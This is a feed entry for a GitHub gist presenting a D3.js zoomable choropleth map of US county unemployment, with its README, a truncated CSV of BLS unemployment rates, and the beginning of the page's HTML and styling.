      <guid isPermaLink="true">https://gist.github.com/78794dcae28394eec2215a1b7fb2bc24</guid>
      <pubDate>Wed, 21 Sep 2016 17:20:11 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T17:20:12.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>3103</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>5977</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
06,077,&quot;San Joaquin County, CA&quot;,0.089
06,079,&quot;San Luis Obispo County, CA&quot;,0.046
06,081,&quot;San Mateo County, CA&quot;,0.034
06,083,&quot;Santa Barbara County, CA&quot;,0.053
06,085,&quot;Santa Clara County, CA&quot;,0.042
06,087,&quot;Santa Cruz County, CA&quot;,0.075
06,089,&quot;Shasta County, CA&quot;,0.078
06,091,&quot;Sierra County, CA&quot;,0.09
06,093,&quot;Siskiyou County, CA&quot;,0.094
06,095,&quot;Solano County, CA&quot;,0.061
06,097,&quot;Sonoma County, CA&quot;,0.045
06,099,&quot;Stanislaus County, CA&quot;,0.095
06,101,&quot;Sutter County, CA&quot;,0.108
06,103,&quot;Tehama County, CA&quot;,0.08
06,105,&quot;Trinity County, CA&quot;,0.078
06,107,&quot;Tulare County, CA&quot;,0.117
06,109,&quot;Tuolumne County, CA&quot;,0.071
06,111,&quot;Ventura County, CA&quot;,0.057
06,113,&quot;Yolo County, CA&quot;,0.064
06,115,&quot;Yuba County, CA&quot;,0.092
08,000,Colorado,0.039
08,001,&quot;Adams County, CO&quot;,0.043
08,003,&quot;Alamosa County, CO&quot;,0.052
08,005,&quot;Arapahoe County, CO&quot;,0.037
08,007,&quot;Archuleta County, CO&quot;,0.04
08,009,&quot;Baca County, CO&quot;,0.021
08,011,&quot;Bent County, CO&quot;,0.039
08,013,&quot;Boulder County, CO&quot;,0.032
08,014,&quot;Broomfield County/city, CO&quot;,0.033
08,015,&quot;Chaffee County, CO&quot;,0.034
08,017,&quot;Cheyenne County, CO&quot;,0.027
08,019,&quot;Clear Creek County, CO&quot;,0.037
08,021,&quot;Conejos County, CO&quot;,0.056
08,023,&quot;Costilla County, CO&quot;,0.065
08,025,&quot;Crowley County, CO&quot;,0.045
08,027,&quot;Custer County, CO&quot;,0.035
08,029,&quot;Delta County, CO&quot;,0.057
08,031,&quot;Denver County/city, CO&quot;,0.037
08,033,&quot;Dolores County, CO&quot;,0.031
08,035,&quot;Douglas County, CO&quot;,0.031
08,037,&quot;Eagle County, CO&quot;,0.031
08,039,&quot;Elbert County, CO&quot;,0.031
08,041,&quot;El Paso County, CO&quot;,0.046
08,043,&quot;Fremont County, CO&quot;,0.062
08,045,&quot;Garfield County, CO&quot;,0.041
08,047,&quot;Gilpin County, CO&quot;,0.031
08,049,&quot;Grand County, CO&quot;,0.032
08,051,&quot;Gunnison County, CO&quot;,0.029
08,053,&quot;Hinsdale County, CO&quot;,0.03
08,055,&quot;Huerfano County, CO&quot;,0.077
08,057,&quot;Jackson County, CO&quot;,0.037
08,059,&quot;Jefferson County, CO&quot;,0.035
08,061,&quot;Kiowa County, CO&quot;,0.026
08,063,&quot;Kit Carson County, CO&quot;,0.024
08,065,&quot;Lake County, CO&quot;,0.038
08,067,&quot;La Plata County, CO&quot;,0.035
08,069,&quot;Larimer County, CO&quot;,0.033
08,071,&quot;Las Animas County, CO&quot;,0.056
08,073,&quot;Lincoln County, CO&quot;,0.034
08,075,&quot;Logan County, CO&quot;,0.031
08,077,&quot;Mesa County, CO&quot;,0.055
08,079,&quot;Mineral County, CO&quot;,0.037
08,081,&quot;Moffat County, CO&quot;,0.045
08,083,&quot;Montezuma County, CO&quot;,0.056
08,085,&quot;Montrose County, CO&quot;,0.051
08,087,&quot;Morgan County, CO&quot;,0.038
08,089,&quot;Otero County, CO&quot;,0.058
08,091,&quot;Ouray County, CO&quot;,0.043
08,093,&quot;Park County, CO&quot;,0.034
08,095,&quot;Phillips County, CO&quot;,0.024
08,097,&quot;Pitkin County, CO&quot;,0.038
08,099,&quot;Prowers County, CO&quot;,0.041
08,101,&quot;Pueblo County, CO&quot;,0.057
08,103,&quot;Rio Blanco County, CO&quot;,0.053
08,105,&quot;Rio Grande County, CO&quot;,0.063
08,107,&quot;Routt County, CO&quot;,0.032
08,109,&quot;Saguache County, CO&quot;,0.061
08,111,&quot;San Juan County, CO&quot;,0.041
08,113,&quot;San Miguel County, CO&quot;,0.037
08,115,&quot;Sedgwick County, CO&quot;,0.034
08,117,&quot;Summit County, CO&quot;,0.025
08,119,&quot;Teller County, CO&quot;,0.044
08,121,&quot;Washington County, CO&quot;,0.025
08,123,&quot;Weld County, CO&quot;,0.038
08,125,&quot;Yuma County, CO&quot;,0.027
09,000,Connecticut,0.056
09,001,&quot;Fairfield County, CT&quot;,0.053
09,003,&quot;Hartford County, CT&quot;,0.059
09,005,&quot;Litchfield County, CT&quot;,0.05
09,007,&quot;Middlesex County, CT&quot;,0.048
09,009,&quot;New Haven County, CT&quot;,0.061
09,011,&quot;New London County, CT&quot;,0.058
09,013,&quot;Tolland County, CT&quot;,0.048
09,015,&quot;Windham County, CT&quot;,0.062
10,000,Delaware,0.05
10,001,&quot;Kent County, DE&quot;,0.054
10,003,&quot;New Castle County, DE&quot;,0.047
10,005,&quot;Sussex County, DE&quot;,0.05
11,000,District of Columbia,0.069
11,001,District of Columbia,0.069
12,000,Florida,0.054
12,001,&quot;Alachua County, FL&quot;,0.045
12,003,&quot;Baker County, FL&quot;,0.054
12,005,&quot;Bay County, FL&quot;,0.054
12,007,&quot;Bradford County, FL&quot;,0.048
12,009,&quot;Brevard County, FL&quot;,0.059
12,011,&quot;Broward County, FL&quot;,0.05
12,013,&quot;Calhoun County, FL&quot;,0.061
12,015,&quot;Charlotte County, FL&quot;,0.059
12,017,&quot;Citrus County, FL&quot;,0.074
12,019,&quot;Clay County, FL&quot;,0.049
12,021,&quot;Collier County, FL&quot;,0.052
12,023,&quot;Columbia County, FL&quot;,0.054
12,027,&quot;DeSoto County, FL&quot;,0.06
12,029,&quot;Dixie County, FL&quot;,0.061
12,031,&quot;Duval County, FL&quot;,0.057
12,033,&quot;Escambia County, FL&quot;,0.056
12,035,&quot;Flagler County, FL&quot;,0.062
12,037,&quot;Franklin County, FL&quot;,0.046
12,039,&quot;Gadsden County, FL&quot;,0.07
12,041,&quot;Gilchrist County, FL&quot;,0.055
12,043,&quot;Glades County, FL&quot;,0.071
12,045,&quot;Gulf County, FL&quot;,0.051
12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/78794dcae28394eec2215a1b7fb2bc24">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;
